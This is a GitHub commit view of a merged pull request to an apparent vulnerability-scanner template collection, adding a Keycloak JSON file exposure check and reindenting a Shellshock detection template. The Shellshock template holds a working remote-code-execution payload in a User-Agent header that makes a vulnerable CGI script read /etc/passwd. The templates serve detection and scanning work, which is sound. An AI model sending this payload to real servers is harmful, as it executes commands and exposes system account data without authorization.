Merge pull request #850 from oppsec/patch-4

Keycloak Json file detection
patch-1
PD-Team 2021-02-13 10:26:17 +05:30 committed by GitHub
commit 1b009b3840
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 33 additions and 10 deletions

View File

@ -0,0 +1,23 @@
id: keycloak-json
info:
name: Keycloak Json File
author: oppsec
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/keycloak.json"
matchers-condition: and
matchers:
- type: word
words:
- realm
- resource
- auth-server-url
condition: and
- type: status
status:
- 200

View File

@ -7,13 +7,13 @@ info:
tags: shellshock,rce
requests:
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
path:
- "{{BaseURL}}/cgi-bin/status"
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
part: body
- method: GET
headers:
User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
path:
- "{{BaseURL}}/cgi-bin/status"
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
part: body